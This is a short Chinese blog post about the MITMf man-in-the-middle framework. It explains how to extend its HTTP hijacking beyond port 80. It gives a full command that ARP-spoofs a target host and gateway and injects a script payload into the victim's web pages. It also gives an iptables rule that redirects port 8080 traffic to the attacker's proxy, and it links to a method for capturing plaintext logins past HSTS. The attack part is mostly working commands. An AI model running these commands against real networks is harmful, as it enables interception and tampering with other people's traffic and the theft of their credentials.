说明

MITMf 是一款可拓展性很高的中间人攻击框架,基于代理工具sergio-proxy修改而来。

问题

在实际使用中,发现一个问题,无法劫持修改非80端口 HTTP数据,例如注入js 替换字符串。
例如注入一段js

1
sudo  python mitmf.py  -i wlan0 --spoof --arp --target  172.18.219.3 --gateway  172.18.219.1  --inject --html-payload '<script>alert(0)</script>'

victim 访问
http://yaseng.org/project

访问非80端口的http web
http://www.jcr.cacrnet.org.cn:8080/mmxb/CN/volumn/home.shtml
无任何提示

attack 端

img

解决

简单看了一下代码
MITMf/core/utils.py line:84

1
2
3
def HTTP(self, http_redir_port):
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port {}'.format(http_redir_port))

iptables 把80端口的mitmf 监听的10000端口,很显然,需要劫持哪个端口,加一条规则就行了。
例如

1
sudo  iptables -t nat -A PREROUTING -p tcp --destination-port 8080 -j REDIRECT --to-port  10000

attack

mg
victim

更多

使用mitmf 来绕过HSTS站点抓取登陆明文 http://yaseng.org/hsts-bypass-with-mitmf.html